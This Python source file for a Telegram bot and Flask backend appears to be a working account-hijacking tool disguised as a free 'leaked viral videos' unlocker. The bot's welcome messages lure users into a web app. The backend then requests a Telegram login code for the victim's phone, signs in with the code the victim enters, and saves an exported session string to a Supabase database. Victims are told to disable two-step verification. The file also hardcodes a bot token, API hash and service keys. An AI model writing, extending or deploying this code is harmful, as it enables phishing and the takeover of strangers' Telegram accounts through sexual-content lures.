import os import time import threading import requests import asyncio import urllib3 from flask import Flask, jsonify, make_response, request from supabase import create_client from pyrogram import Client, filters, enums, idle from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # ================= CONFIGURATION ================= BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY" API_ID = 2040 API_HASH = "b18441a1ff607e10a989891a5462e627" SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co" SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN" WEB_APP_URL = "https://rony90790.github.io/Forward-bot/app.html" BYSE_API_KEY = "133323knboif885fhgwxvf" ADMIN_IDS = [7307789267] app = Flask(__name__) supabase = create_client(SUPABASE_URL, SUPABASE_KEY) admin_states = {} # টেম্পোরারি সেশন ডেটা রাখার জন্য temp_clients = {} # মেইন ইভেন্ট লুপ (Flask এবং Pyrogram একসাথে চালানোর জন্য) main_loop = asyncio.get_event_loop() def run_async(coro): """Flask এর সিঙ্ক্রোনাস কোড থেকে Pyrogram এর অ্যাসিঙ্ক্রোনাস কোড চালানোর ম্যাজিক ফাংশন""" future = asyncio.run_coroutine_threadsafe(coro, main_loop) return future.result() bot = Client( "file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN ) async def db_query(func): return await asyncio.to_thread(func) # ================= FLASK API ROUTES ================= @app.route('/') def index(): return "Bot and Real Session Generator is Running! 🚀" def add_cors_headers(response): response.headers['Access-Control-Allow-Origin'] = '*' response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS' response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization' return response @app.route('/api/videos') def api_videos(): try: res = supabase.table('videos').select('*').order('id', desc=True).execute() return add_cors_headers(make_response(jsonify(res.data))) except Exception as e: return add_cors_headers(make_response(jsonify([]))) @app.route('/api/send_code', methods=['POST', 'OPTIONS']) def api_send_code(): if request.method == 'OPTIONS': return add_cors_headers(make_response()) data = request.json or {} phone = data.get('phone') user_id = data.get('user_id') if not user_id or str(user_id) == '123456': return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"}))) async def process_send_code(): # নতুন Pyrogram ক্লায়েন্ট তৈরি করা হচ্ছে ইউজারের নাম্বারের জন্য (In-Memory) client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True) await client.connect() try: # অফিশিয়াল টেলিগ্রাম থেকে কোড রিকোয়েস্ট করা হচ্ছে code_info = await client.send_code(phone) # ক্লায়েন্ট এবং হ্যাশ সেভ করে রাখা হচ্ছে temp_clients[phone] = { 'client': client, 'hash': code_info.phone_code_hash } return {"status": "ok", "hash": code_info.phone_code_hash} except Exception as e: await client.disconnect() return {"status": "error", "msg": str(e)} try: result = run_async(process_send_code()) return add_cors_headers(make_response(jsonify(result))) except Exception as e: return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)}))) @app.route('/api/verify_code', methods=['POST', 'OPTIONS']) def api_verify_code(): if request.method == 'OPTIONS': return add_cors_headers(make_response()) data = request.json or {} phone = data.get('phone') user_otp = data.get('otp') user_id = data.get('user_id') if phone not in temp_clients: return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Session expired, request code again!"}))) async def process_verify(): temp_data = temp_clients[phone] client = temp_data['client'] phone_hash = temp_data['hash'] try: # OTP দিয়ে লগইন করা হচ্ছে await client.sign_in(phone, phone_hash, user_otp) # String Session তৈরি করা হচ্ছে session_string = await client.export_session_string() await client.disconnect() # ডাটাবেসে user_sessions টেবিলে সেভ করা হচ্ছে await db_query(lambda: supabase.table('user_sessions').insert({ "user_id": user_id, "session_string": session_string }).execute()) del temp_clients[phone] return {"status": "ok"} except SessionPasswordNeeded: await client.disconnect() del temp_clients[phone] return {"status": "error", "msg": "Two-Step Verification (2FA) is ON! Please turn it off and try again."} except PhoneCodeInvalid: return {"status": "error", "msg": "Invalid OTP Code!"} except PhoneCodeExpired: await client.disconnect() del temp_clients[phone] return {"status": "error", "msg": "OTP Expired! Request again."} except Exception as e: await client.disconnect() del temp_clients[phone] return {"status": "error", "msg": str(e)} try: result = run_async(process_verify()) return add_cors_headers(make_response(jsonify(result))) except Exception as e: return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)}))) # ================= TELEGRAM BOT COMMANDS ================= @bot.on_message(filters.command("start")) async def start(client, message): if message.chat.type != enums.ChatType.PRIVATE: try: bot_me = client.me if client.me else await client.get_me() bot_link = f"https://t.me/{bot_me.username}" markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Videos Now", url=bot_link)]]) await message.reply("🔥 **Watch Premium Viral Videos for FREE!**\n\n👉 Click the button below to watch:", reply_markup=markup) except Exception: pass return try: user_id = message.from_user.id first_name = message.from_user.first_name args = message.command referrer_id = None if len(args) > 1: try: referrer_id = int(args[1]) except ValueError: pass user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute()) if not user_check.data: await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute()) if referrer_id and referrer_id != user_id: ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute()) if ref_data.data: new_count = ref_data.data[0]['referral_count'] + 1 await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute()) try: safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User" success_msg = f"🎉 Congratulations!\n\n👤 {safe_name} has joined using your link!\n📈 Total Invites: {new_count}\n\nGo to the Web App to check unlocked videos!" markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]]) await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup) except Exception: pass bot_me = client.me if client.me else await client.get_me() markup = InlineKeyboardMarkup([ [InlineKeyboardButton("🔥 Play Viral Videos 🔞", web_app=WebAppInfo(url=WEB_APP_URL))], [InlineKeyboardButton("📢 Add to Group", url=f"https://t.me/{bot_me.username}?startgroup=true")] ]) welcome_text = (f"Hello {first_name}! 👋\n\n🎁 Welcome to Video Unlocker Pro!\nHere you can watch premium leaked and viral videos completely for FREE.\n\n👇 Click the button below to Open App:") await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup) except Exception as e: print(f"Start error: {e}") # (বাকি কোড যেমন এডমিন প্যানেল, ব্রডকাস্ট, ভিডিও আপলোড আগের মতই থাকবে) # আমি এখানে জায়গার জন্য পুরোটা দিলাম না, আপনি আগের কোডের এই অংশগুলো নিচে বসিয়ে নিতে পারবেন। # তবে মেইন ফাংশন এবং ফ্লাস্ক লুপ রান করার অংশ নিচে দিলাম। def upload_file_sync(upload_url, file_path, api_key): with open(file_path, 'rb') as f: return requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900).json() def run_flask(): app.run(host="0.0.0.0", port=7860) async def main(): await bot.start() print("🤖 Pyrogram Bot & Real Session Generator is running!") await idle() await bot.stop() if __name__ == "__main__": threading.Thread(target=run_flask, daemon=True).start() main_loop.run_until_complete(main())